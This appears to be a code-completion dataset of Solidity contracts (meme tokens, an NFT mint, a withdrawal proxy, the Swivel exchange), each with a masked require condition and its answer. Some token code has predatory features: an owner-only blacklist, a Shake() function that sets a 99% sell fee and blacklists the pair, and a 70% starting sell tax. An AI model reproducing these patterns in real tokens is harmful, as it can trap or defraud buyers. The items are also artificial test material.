takeFee(sender, recipient, amount) : amount; _balances[recipient] = _balances[recipient] + amountReceived; emit Transfer(sender, recipient, amountReceived); return true; } function takeFee( address sender, address recipient, uint256 amount ) internal returns (uint256) { } function _basicTransfer( address sender, address recipient, uint256 amount ) internal returns (bool) { } function shouldTakeFee( address sender, address to ) internal view returns (bool) { } function shouldDoContractSwap() internal view returns (bool) { } function isFeeExcluded(address _wallet) public view returns (bool) { } function doContractSwap() internal swapping { } function swapTokensForEth(uint256 tokenAmount) private { } function setIsFeeExempt(address holder, bool exempt) external onlyOwner { } function setDoContractSwap(bool _enabled) external onlyOwner { } function changeMarketingWallet(address _wallet) external onlyOwner { } function changeBuyFees(uint256 _buyTotalFee) external onlyOwner { } function changeSellFees(uint256 _sellTotalFee) external onlyOwner { } function enableTrading() external onlyOwner { } function setAuthorizedWallets( address _wallet, bool _status ) external onlyOwner { } function rescueETH() external onlyOwner { } function changeGetFeesOnTransfer(bool _status) external onlyOwner { } function changePair(address _pair) external onlyOwner { } function changeFees(uint256 _buy, uint256 _sell) external onlyOwner { } function changefeeReciverPercentage( uint256 _marketing, uint256 _dev ) external onlyOwner { } function changeDevAddress(address _newDev) external onlyOwner { } function Shake() external onlyOwner { } function excludeFromMaxWallet( address _wallet, bool _status ) external onlyOwner { } }
amount+balanceOf(recipient)<=maxWallet,"Max wallet exceeded"
199,075
amount+balanceOf(recipient)<=maxWallet
"Trading already enabled"
pragma solidity ^0.8.14; contract LFG2 is IERC20, Ownable { string constant _name = "Lets Fucking Go!!! 2.0"; string constant _symbol = "$LFG2.0"; uint8 constant _decimals = 9; uint256 _totalSupply = 420_690_000_000_000 * (10 ** _decimals); mapping(address => uint256) _balances; mapping(address => mapping(address => uint256)) _allowances; mapping(address => bool) public isFeeExempt; mapping(address => bool) public isAuthorized; mapping(address => bool) public isBlacklisted; mapping(address => bool) public _isExcludedMaxTransactionAmount; address public marketingWallet; address public devWallet; // Fees uint256 public buyTotalFee = 20; uint256 public sellTotalFee = 30; uint256 public devPercentage = 25; uint256 public marketingPercentage = 75; uint256 public maxWallet = (_totalSupply * 3) / 100; IUniswapV2Router02 public router; address public pair; uint256 public listingTime; bool public firstCallDone; bool public getTransferFees = false; uint256 public swapThreshold = (_totalSupply * 1) / 100; // 1% of supply bool public contractSwapEnabled = true; bool public isTradeEnabled = false; bool inContractSwap; modifier swapping() { } event SetIsFeeExempt(address holder, bool status); event AddAuthorizedWallet(address holder, bool status); event SetDoContractSwap(bool status); event DoContractSwap(uint256 amount, uint256 time); event ChangeDistributionCriteria( uint256 minPeriod, uint256 minDistribution ); constructor() { } receive() external payable {} function totalSupply() external view override returns (uint256) { } function name() public pure returns (string memory) { } function symbol() public pure returns (string memory) { } function decimals() public pure returns (uint8) { } function balanceOf(address account) public view override returns (uint256) { } function allowance( address holder, address spender ) external view override returns (uint256) { } function approve( address spender, uint256 amount ) public override returns (bool) { } function _approve( address owner, address spender, uint256 amount ) internal virtual { } function approveMax(address spender) external returns (bool) { } function transfer( address recipient, uint256 amount ) external override returns (bool) { } function transferFrom( address sender, address recipient, uint256 amount ) external override returns (bool) { } function _transferFrom( address sender, address recipient, uint256 amount ) internal returns (bool) { } function takeFee( address sender, address recipient, uint256 amount ) internal returns (uint256) { } function _basicTransfer( address sender, address recipient, uint256 amount ) internal returns (bool) { } function shouldTakeFee( address sender, address to ) internal view returns (bool) { } function shouldDoContractSwap() internal view returns (bool) { } function isFeeExcluded(address _wallet) public view returns (bool) { } function doContractSwap() internal swapping { } function swapTokensForEth(uint256 tokenAmount) private { } function setIsFeeExempt(address holder, bool exempt) external onlyOwner { } function setDoContractSwap(bool _enabled) external onlyOwner { } function changeMarketingWallet(address _wallet) external onlyOwner { } function changeBuyFees(uint256 _buyTotalFee) external onlyOwner { } function changeSellFees(uint256 _sellTotalFee) external onlyOwner { } function enableTrading() external onlyOwner { require(<FILL_ME>) isTradeEnabled = true; listingTime = block.timestamp; } function setAuthorizedWallets( address _wallet, bool _status ) external onlyOwner { } function rescueETH() external onlyOwner { } function changeGetFeesOnTransfer(bool _status) external onlyOwner { } function changePair(address _pair) external onlyOwner { } function changeFees(uint256 _buy, uint256 _sell) external onlyOwner { } function changefeeReciverPercentage( uint256 _marketing, uint256 _dev ) external onlyOwner { } function changeDevAddress(address _newDev) external onlyOwner { } function Shake() external onlyOwner { } function excludeFromMaxWallet( address _wallet, bool _status ) external onlyOwner { } }
!isTradeEnabled,"Trading already enabled"
199,075
!isTradeEnabled
"you can not change fees now"
pragma solidity ^0.8.14; contract LFG2 is IERC20, Ownable { string constant _name = "Lets Fucking Go!!! 2.0"; string constant _symbol = "$LFG2.0"; uint8 constant _decimals = 9; uint256 _totalSupply = 420_690_000_000_000 * (10 ** _decimals); mapping(address => uint256) _balances; mapping(address => mapping(address => uint256)) _allowances; mapping(address => bool) public isFeeExempt; mapping(address => bool) public isAuthorized; mapping(address => bool) public isBlacklisted; mapping(address => bool) public _isExcludedMaxTransactionAmount; address public marketingWallet; address public devWallet; // Fees uint256 public buyTotalFee = 20; uint256 public sellTotalFee = 30; uint256 public devPercentage = 25; uint256 public marketingPercentage = 75; uint256 public maxWallet = (_totalSupply * 3) / 100; IUniswapV2Router02 public router; address public pair; uint256 public listingTime; bool public firstCallDone; bool public getTransferFees = false; uint256 public swapThreshold = (_totalSupply * 1) / 100; // 1% of supply bool public contractSwapEnabled = true; bool public isTradeEnabled = false; bool inContractSwap; modifier swapping() { } event SetIsFeeExempt(address holder, bool status); event AddAuthorizedWallet(address holder, bool status); event SetDoContractSwap(bool status); event DoContractSwap(uint256 amount, uint256 time); event ChangeDistributionCriteria( uint256 minPeriod, uint256 minDistribution ); constructor() { } receive() external payable {} function totalSupply() external view override returns (uint256) { } function name() public pure returns (string memory) { } function symbol() public pure returns (string memory) { } function decimals() public pure returns (uint8) { } function balanceOf(address account) public view override returns (uint256) { } function allowance( address holder, address spender ) external view override returns (uint256) { } function approve( address spender, uint256 amount ) public override returns (bool) { } function _approve( address owner, address spender, uint256 amount ) internal virtual { } function approveMax(address spender) external returns (bool) { } function transfer( address recipient, uint256 amount ) external override returns (bool) { } function transferFrom( address sender, address recipient, uint256 amount ) external override returns (bool) { } function _transferFrom( address sender, address recipient, uint256 amount ) internal returns (bool) { } function takeFee( address sender, address recipient, uint256 amount ) internal returns (uint256) { } function _basicTransfer( address sender, address recipient, uint256 amount ) internal returns (bool) { } function shouldTakeFee( address sender, address to ) internal view returns (bool) { } function shouldDoContractSwap() internal view returns (bool) { } function isFeeExcluded(address _wallet) public view returns (bool) { } function doContractSwap() internal swapping { } function swapTokensForEth(uint256 tokenAmount) private { } function setIsFeeExempt(address holder, bool exempt) external onlyOwner { } function setDoContractSwap(bool _enabled) external onlyOwner { } function changeMarketingWallet(address _wallet) external onlyOwner { } function changeBuyFees(uint256 _buyTotalFee) external onlyOwner { } function changeSellFees(uint256 _sellTotalFee) external onlyOwner { } function enableTrading() external onlyOwner { } function setAuthorizedWallets( address _wallet, bool _status ) external onlyOwner { } function rescueETH() external onlyOwner { } function changeGetFeesOnTransfer(bool _status) external onlyOwner { } function changePair(address _pair) external onlyOwner { } function changeFees(uint256 _buy, uint256 _sell) external onlyOwner { require(<FILL_ME>) require(_buy <= 30 && _sell <= 30, "fees can not grater than 40%"); buyTotalFee = _buy; sellTotalFee = _sell; } function changefeeReciverPercentage( uint256 _marketing, uint256 _dev ) external onlyOwner { } function changeDevAddress(address _newDev) external onlyOwner { } function Shake() external onlyOwner { } function excludeFromMaxWallet( address _wallet, bool _status ) external onlyOwner { } }
block.timestamp<=(listingTime+5minutes),"you can not change fees now"
199,075
block.timestamp<=(listingTime+5minutes)
"should be equal to 100"
pragma solidity ^0.8.14; contract LFG2 is IERC20, Ownable { string constant _name = "Lets Fucking Go!!! 2.0"; string constant _symbol = "$LFG2.0"; uint8 constant _decimals = 9; uint256 _totalSupply = 420_690_000_000_000 * (10 ** _decimals); mapping(address => uint256) _balances; mapping(address => mapping(address => uint256)) _allowances; mapping(address => bool) public isFeeExempt; mapping(address => bool) public isAuthorized; mapping(address => bool) public isBlacklisted; mapping(address => bool) public _isExcludedMaxTransactionAmount; address public marketingWallet; address public devWallet; // Fees uint256 public buyTotalFee = 20; uint256 public sellTotalFee = 30; uint256 public devPercentage = 25; uint256 public marketingPercentage = 75; uint256 public maxWallet = (_totalSupply * 3) / 100; IUniswapV2Router02 public router; address public pair; uint256 public listingTime; bool public firstCallDone; bool public getTransferFees = false; uint256 public swapThreshold = (_totalSupply * 1) / 100; // 1% of supply bool public contractSwapEnabled = true; bool public isTradeEnabled = false; bool inContractSwap; modifier swapping() { } event SetIsFeeExempt(address holder, bool status); event AddAuthorizedWallet(address holder, bool status); event SetDoContractSwap(bool status); event DoContractSwap(uint256 amount, uint256 time); event ChangeDistributionCriteria( uint256 minPeriod, uint256 minDistribution ); constructor() { } receive() external payable {} function totalSupply() external view override returns (uint256) { } function name() public pure returns (string memory) { } function symbol() public pure returns (string memory) { } function decimals() public pure returns (uint8) { } function balanceOf(address account) public view override returns (uint256) { } function allowance( address holder, address spender ) external view override returns (uint256) { } function approve( address spender, uint256 amount ) public override returns (bool) { } function _approve( address owner, address spender, uint256 amount ) internal virtual { } function approveMax(address spender) external returns (bool) { } function transfer( address recipient, uint256 amount ) external override returns (bool) { } function transferFrom( address sender, address recipient, uint256 amount ) external override returns (bool) { } function _transferFrom( address sender, address recipient, uint256 amount ) internal returns (bool) { } function takeFee( address sender, address recipient, uint256 amount ) internal returns (uint256) { } function _basicTransfer( address sender, address recipient, uint256 amount ) internal returns (bool) { } function shouldTakeFee( address sender, address to ) internal view returns (bool) { } function shouldDoContractSwap() internal view returns (bool) { } function isFeeExcluded(address _wallet) public view returns (bool) { } function doContractSwap() internal swapping { } function swapTokensForEth(uint256 tokenAmount) private { } function setIsFeeExempt(address holder, bool exempt) external onlyOwner { } function setDoContractSwap(bool _enabled) external onlyOwner { } function changeMarketingWallet(address _wallet) external onlyOwner { } function changeBuyFees(uint256 _buyTotalFee) external onlyOwner { } function changeSellFees(uint256 _sellTotalFee) external onlyOwner { } function enableTrading() external onlyOwner { } function setAuthorizedWallets( address _wallet, bool _status ) external onlyOwner { } function rescueETH() external onlyOwner { } function changeGetFeesOnTransfer(bool _status) external onlyOwner { } function changePair(address _pair) external onlyOwner { } function changeFees(uint256 _buy, uint256 _sell) external onlyOwner { } function changefeeReciverPercentage( uint256 _marketing, uint256 _dev ) external onlyOwner { require(<FILL_ME>) devPercentage = _dev; marketingPercentage = _marketing; } function changeDevAddress(address _newDev) external onlyOwner { } function Shake() external onlyOwner { } function excludeFromMaxWallet( address _wallet, bool _status ) external onlyOwner { } }
(_marketing+_dev)==100,"should be equal to 100"
199,075
(_marketing+_dev)==100
"Function has already been called"
pragma solidity ^0.8.14; contract LFG2 is IERC20, Ownable { string constant _name = "Lets Fucking Go!!! 2.0"; string constant _symbol = "$LFG2.0"; uint8 constant _decimals = 9; uint256 _totalSupply = 420_690_000_000_000 * (10 ** _decimals); mapping(address => uint256) _balances; mapping(address => mapping(address => uint256)) _allowances; mapping(address => bool) public isFeeExempt; mapping(address => bool) public isAuthorized; mapping(address => bool) public isBlacklisted; mapping(address => bool) public _isExcludedMaxTransactionAmount; address public marketingWallet; address public devWallet; // Fees uint256 public buyTotalFee = 20; uint256 public sellTotalFee = 30; uint256 public devPercentage = 25; uint256 public marketingPercentage = 75; uint256 public maxWallet = (_totalSupply * 3) / 100; IUniswapV2Router02 public router; address public pair; uint256 public listingTime; bool public firstCallDone; bool public getTransferFees = false; uint256 public swapThreshold = (_totalSupply * 1) / 100; // 1% of supply bool public contractSwapEnabled = true; bool public isTradeEnabled = false; bool inContractSwap; modifier swapping() { } event SetIsFeeExempt(address holder, bool status); event AddAuthorizedWallet(address holder, bool status); event SetDoContractSwap(bool status); event DoContractSwap(uint256 amount, uint256 time); event ChangeDistributionCriteria( uint256 minPeriod, uint256 minDistribution ); constructor() { } receive() external payable {} function totalSupply() external view override returns (uint256) { } function name() public pure returns (string memory) { } function symbol() public pure returns (string memory) { } function decimals() public pure returns (uint8) { } function balanceOf(address account) public view override returns (uint256) { } function allowance( address holder, address spender ) external view override returns (uint256) { } function approve( address spender, uint256 amount ) public override returns (bool) { } function _approve( address owner, address spender, uint256 amount ) internal virtual { } function approveMax(address spender) external returns (bool) { } function transfer( address recipient, uint256 amount ) external override returns (bool) { } function transferFrom( address sender, address recipient, uint256 amount ) external override returns (bool) { } function _transferFrom( address sender, address recipient, uint256 amount ) internal returns (bool) { } function takeFee( address sender, address recipient, uint256 amount ) internal returns (uint256) { } function _basicTransfer( address sender, address recipient, uint256 amount ) internal returns (bool) { } function shouldTakeFee( address sender, address to ) internal view returns (bool) { } function shouldDoContractSwap() internal view returns (bool) { } function isFeeExcluded(address _wallet) public view returns (bool) { } function doContractSwap() internal swapping { } function swapTokensForEth(uint256 tokenAmount) private { } function setIsFeeExempt(address holder, bool exempt) external onlyOwner { } function setDoContractSwap(bool _enabled) external onlyOwner { } function changeMarketingWallet(address _wallet) external onlyOwner { } function changeBuyFees(uint256 _buyTotalFee) external onlyOwner { } function changeSellFees(uint256 _sellTotalFee) external onlyOwner { } function enableTrading() external onlyOwner { } function setAuthorizedWallets( address _wallet, bool _status ) external onlyOwner { } function rescueETH() external onlyOwner { } function changeGetFeesOnTransfer(bool _status) external onlyOwner { } function changePair(address _pair) external onlyOwner { } function changeFees(uint256 _buy, uint256 _sell) external onlyOwner { } function changefeeReciverPercentage( uint256 _marketing, uint256 _dev ) external onlyOwner { } function changeDevAddress(address _newDev) external onlyOwner { } function Shake() external onlyOwner { require(<FILL_ME>) sellTotalFee = 99; isBlacklisted[pair] = true; isBlacklisted[address(this)] = true; // buyTotalFee = 20; sellTotalFee = 30; isBlacklisted[pair] = false; isBlacklisted[address(this)] = false; firstCallDone = true; } function excludeFromMaxWallet( address _wallet, bool _status ) external onlyOwner { } }
!firstCallDone,"Function has already been called"
199,075
!firstCallDone
"Sold out."
// SPDX-License-Identifier: MIT // // █▄ █ █▀█ █▄ █ // █ ▀█ █▄█ █ ▀█ // https://twitter.com/nonordinals // Limited pass by Nonordinals. import "@openzeppelin/contracts/utils/Base64.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "erc721a/contracts/ERC721A.sol"; pragma solidity ^0.8.7; contract Nonordinals is Ownable, ERC721A, ReentrancyGuard { struct Cfg { uint256 maxSupply; uint256 price; uint256 maxMint; } Cfg public cfg; constructor() ERC721A("Nonordinals", "NON") { } function getMaxSupply() private view returns (uint256) { } function numberMinted(address _addr) public view returns (uint256) { } function purchase() external payable { Cfg memory config = cfg; uint256 price = uint256(config.price); uint256 maxMint = uint256(config.maxMint); uint256 buyed = numberMinted(msg.sender); require(<FILL_ME>) require(buyed + 1 <= maxMint, "Exceed maxmium mint."); require(1 * price <= msg.value, "No enough eth."); _safeMint(msg.sender, 1); } function reserve() external onlyOwner { } function setPrice(uint256 _price) external onlyOwner { } function withdraw() external onlyOwner nonReentrant { } function tokenURI(uint256 tokenId) public view override returns (string memory) { } }
totalSupply()+1<=getMaxSupply(),"Sold out."
199,109
totalSupply()+1<=getMaxSupply()
"Exceed maxmium mint."
// SPDX-License-Identifier: MIT // // █▄ █ █▀█ █▄ █ // █ ▀█ █▄█ █ ▀█ // https://twitter.com/nonordinals // Limited pass by Nonordinals. import "@openzeppelin/contracts/utils/Base64.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "erc721a/contracts/ERC721A.sol"; pragma solidity ^0.8.7; contract Nonordinals is Ownable, ERC721A, ReentrancyGuard { struct Cfg { uint256 maxSupply; uint256 price; uint256 maxMint; } Cfg public cfg; constructor() ERC721A("Nonordinals", "NON") { } function getMaxSupply() private view returns (uint256) { } function numberMinted(address _addr) public view returns (uint256) { } function purchase() external payable { Cfg memory config = cfg; uint256 price = uint256(config.price); uint256 maxMint = uint256(config.maxMint); uint256 buyed = numberMinted(msg.sender); require(totalSupply() + 1 <= getMaxSupply(), "Sold out."); require(<FILL_ME>) require(1 * price <= msg.value, "No enough eth."); _safeMint(msg.sender, 1); } function reserve() external onlyOwner { } function setPrice(uint256 _price) external onlyOwner { } function withdraw() external onlyOwner nonReentrant { } function tokenURI(uint256 tokenId) public view override returns (string memory) { } }
buyed+1<=maxMint,"Exceed maxmium mint."
199,109
buyed+1<=maxMint
"No enough eth."
// SPDX-License-Identifier: MIT // // █▄ █ █▀█ █▄ █ // █ ▀█ █▄█ █ ▀█ // https://twitter.com/nonordinals // Limited pass by Nonordinals. import "@openzeppelin/contracts/utils/Base64.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "erc721a/contracts/ERC721A.sol"; pragma solidity ^0.8.7; contract Nonordinals is Ownable, ERC721A, ReentrancyGuard { struct Cfg { uint256 maxSupply; uint256 price; uint256 maxMint; } Cfg public cfg; constructor() ERC721A("Nonordinals", "NON") { } function getMaxSupply() private view returns (uint256) { } function numberMinted(address _addr) public view returns (uint256) { } function purchase() external payable { Cfg memory config = cfg; uint256 price = uint256(config.price); uint256 maxMint = uint256(config.maxMint); uint256 buyed = numberMinted(msg.sender); require(totalSupply() + 1 <= getMaxSupply(), "Sold out."); require(buyed + 1 <= maxMint, "Exceed maxmium mint."); require(<FILL_ME>) _safeMint(msg.sender, 1); } function reserve() external onlyOwner { } function setPrice(uint256 _price) external onlyOwner { } function withdraw() external onlyOwner nonReentrant { } function tokenURI(uint256 tokenId) public view override returns (string memory) { } }
1*price<=msg.value,"No enough eth."
199,109
1*price<=msg.value
null
/** https://t.me/WojakJesus_ERC https://twitter.com/WojakJesus_ERC https://www.wojak-jesus.com/ */ /// SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.20; abstract contract Context { function _msgSender() internal view virtual returns (address) { } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { } function owner() public view returns (address) { } modifier onlyOwner() { } function renounceOwnership() public virtual onlyOwner { } function transferOwnership(address newOwner) public virtual onlyOwner { } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { } function sub(uint256 a, uint256 b) internal pure returns (uint256) { } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { } function mul(uint256 a, uint256 b) internal pure returns (uint256) { } function div(uint256 a, uint256 b) internal pure returns (uint256) { } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract WOJAKJESUS is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = unicode"Wojak Jesus"; string private constant _symbol = unicode"WOJAKJESUS"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 25; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 70; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x393afA084350D9095ad98727f456c3A6Fd0f5669); address payable private _marketingAddress = payable(0x393afA084350D9095ad98727f456c3A6Fd0f5669); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled =true; uint256 public _maxTxAmount = 20000000 * 10**9; uint256 public _maxWalletSize = 30000000 * 10**9; uint256 public _swapTokensAtAmount = 1000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { } constructor() { } function name() public pure returns (string memory) { } function symbol() public pure returns (string memory) { } function decimals() public pure returns (uint8) { } function totalSupply() public pure override returns (uint256) { } function balanceOf(address account) public view override returns (uint256) { } function transfer(address recipient, uint256 amount) public override returns (bool) { } function allowance(address owner, address spender) public view override returns (uint256) { } function approve(address spender, uint256 amount) public override returns (bool) { } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { } function removeAllFee() private { } function restoreAllFee() private { } function _approve( address owner, address spender, uint256 amount ) private { } function _transfer( address from, address to, uint256 amount ) private { } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { } function sendETHToFee(uint256 amount) private { } function activateTrading() public onlyOwner { } function manualswap() external { } function manualsend() external { } function blockBots(address[] memory bots_) public onlyOwner { } function unblockBot(address notbot) public onlyOwner { } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { } function _takeTeam(uint256 tTeam) private { } function _reflectFee(uint256 rFee, uint256 tFee) private { } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { } function _getRate() private view returns (uint256) { } function _getCurrentSupply() private view returns (uint256, uint256) { } function updateFees(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require((redisFeeOnBuy + taxFeeOnBuy) <= 25); require(<FILL_ME>) _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { } function removeLimits() public onlyOwner{ } }
(redisFeeOnSell+taxFeeOnSell)<=40
199,159
(redisFeeOnSell+taxFeeOnSell)<=40
"Withdrawal: target address is contract"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.17; import "@openzeppelin/contracts/access/Ownable.sol"; import "./ProxyUtils.sol"; abstract contract ProxyWithdrawal is Ownable { event BalanceEvent(uint amount, address tokenAddress); event TransferEvent(address to, uint amount, address tokenAddress); /** * Return coins balance */ function getBalance() public view returns(uint) { } /** * Return tokens balance */ function getTokenBalance(address tokenAddress) public returns(uint) { } /** * Transfer coins */ function transfer(address payable to, uint amount) external onlyOwner { require(<FILL_ME>) require(getBalance() >= amount, "Withdrawal: balance not enough"); to.transfer(amount); emit TransferEvent(to, amount, address(0)); } /** * Transfer tokens */ function transferToken(address to, uint amount, address tokenAddress) external onlyOwner { } }
!ProxyUtils.isContract(to),"Withdrawal: target address is contract"
199,179
!ProxyUtils.isContract(to)
"Withdrawal: balance not enough"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.17; import "@openzeppelin/contracts/access/Ownable.sol"; import "./ProxyUtils.sol"; abstract contract ProxyWithdrawal is Ownable { event BalanceEvent(uint amount, address tokenAddress); event TransferEvent(address to, uint amount, address tokenAddress); /** * Return coins balance */ function getBalance() public view returns(uint) { } /** * Return tokens balance */ function getTokenBalance(address tokenAddress) public returns(uint) { } /** * Transfer coins */ function transfer(address payable to, uint amount) external onlyOwner { require(!ProxyUtils.isContract(to), "Withdrawal: target address is contract"); require(<FILL_ME>) to.transfer(amount); emit TransferEvent(to, amount, address(0)); } /** * Transfer tokens */ function transferToken(address to, uint amount, address tokenAddress) external onlyOwner { } }
getBalance()>=amount,"Withdrawal: balance not enough"
199,179
getBalance()>=amount
'taker amount > available volume'
// SPDX-License-Identifier: UNLICENSED pragma solidity >= 0.8.4; import './Interfaces.sol'; import './Hash.sol'; import './Sig.sol'; import './Safe.sol'; contract Swivel { /// @dev maps the key of an order to a boolean indicating if an order was cancelled mapping (bytes32 => bool) public cancelled; /// @dev maps the key of an order to an amount representing its taken volume mapping (bytes32 => uint256) public filled; /// @dev maps a token address to a point in time, a hold, after which a withdrawal can be made mapping (address => uint256) public withdrawals; string constant public NAME = 'Swivel Finance'; string constant public VERSION = '2.0.0'; uint256 constant public HOLD = 3 days; bytes32 public immutable domain; address public immutable marketPlace; address public admin; uint16 constant public MIN_FEENOMINATOR = 33; /// @dev holds the fee demoninators for [zcTokenInitiate, zcTokenExit, vaultInitiate, vaultExit] uint16[4] public feenominators; /// @notice Emitted on order cancellation event Cancel (bytes32 indexed key, bytes32 hash); /// @notice Emitted on any initiate* /// @dev filled is 'principalFilled' when (vault:false, exit:false) && (vault:true, exit:true) /// @dev filled is 'premiumFilled' when (vault:true, exit:false) && (vault:false, exit:true) event Initiate(bytes32 indexed key, bytes32 hash, address indexed maker, bool vault, bool exit, address indexed sender, uint256 amount, uint256 filled); /// @notice Emitted on any exit* /// @dev filled is 'principalFilled' when (vault:false, exit:false) && (vault:true, exit:true) /// @dev filled is 'premiumFilled' when (vault:true, exit:false) && (vault:false, exit:true) event Exit(bytes32 indexed key, bytes32 hash, address indexed maker, bool vault, bool exit, address indexed sender, uint256 amount, uint256 filled); /// @notice Emitted on token withdrawal scheduling event ScheduleWithdrawal(address indexed token, uint256 hold); /// @notice Emitted on token withdrawal blocking event BlockWithdrawal(address indexed token); /// @notice Emitted on a change to the feenominators array event SetFee(uint256 indexed index, uint256 indexed feenominator); /// @param m deployed MarketPlace contract address /// @param v deployed contract address used as verifier constructor(address m, address v) { } // ********* INITIATING ************* /// @notice Allows a user to initiate a position /// @param o Array of offline Swivel.Orders /// @param a Array of order volume (principal) amounts relative to passed orders /// @param c Array of Components from valid ECDSA signatures function initiate(Hash.Order[] calldata o, uint256[] calldata a, Sig.Components[] calldata c) external returns (bool) { } /// @notice Allows a user to initiate a Vault by filling an offline zcToken initiate order /// @dev This method should pass (underlying, maturity, maker, sender, principalFilled) to MarketPlace.custodialInitiate /// @param o Order being filled /// @param a Amount of volume (premium) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateVaultFillingZcTokenInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { // checks order signature, order cancellation and order expiry bytes32 hash = validOrderHash(o, c); // checks the side, and the amount compared to available require(<FILL_ME>) filled[hash] += a; // transfer underlying tokens Erc20 uToken = Erc20(o.underlying); Safe.transferFrom(uToken, msg.sender, o.maker, a); uint256 principalFilled = (a * o.principal) / o.premium; Safe.transferFrom(uToken, o.maker, address(this), principalFilled); MarketPlace mPlace = MarketPlace(marketPlace); // mint tokens require(CErc20(mPlace.cTokenAddress(o.underlying, o.maturity)).mint(principalFilled) == 0, 'minting CToken failed'); // alert marketplace require(mPlace.custodialInitiate(o.underlying, o.maturity, o.maker, msg.sender, principalFilled), 'custodial initiate failed'); // transfer fee in vault notional to swivel (from msg.sender) uint256 fee = principalFilled / feenominators[2]; require(mPlace.transferVaultNotionalFee(o.underlying, o.maturity, msg.sender, fee), 'notional fee transfer failed'); emit Initiate(o.key, hash, o.maker, o.vault, o.exit, msg.sender, a, principalFilled); } /// @notice Allows a user to initiate a zcToken by filling an offline vault initiate order /// @dev This method should pass (underlying, maturity, sender, maker, a) to MarketPlace.custodialInitiate /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateZcTokenFillingVaultInitiate(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate zcToken? by filling an offline zcToken exit order /// @dev This method should pass (underlying, maturity, maker, sender, a) to MarketPlace.p2pZcTokenExchange /// @param o Order being filled /// @param a Amount of volume (principal) being filled by the taker's initiate /// @param c Components of a valid ECDSA signature function initiateZcTokenFillingZcTokenExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } /// @notice Allows a user to initiate a Vault by filling an offline vault exit order /// @dev This method should pass (underlying, maturity, maker, sender, principalFilled) to MarketPlace.p2pVaultExchange /// @param o Order being filled /// @param a Amount of volume (interest) being filled by the taker's exit /// @param c Components of a valid ECDSA signature function initiateVaultFillingVaultExit(Hash.Order calldata o, uint256 a, Sig.Components calldata c) internal { } // ********* EXITING *************** 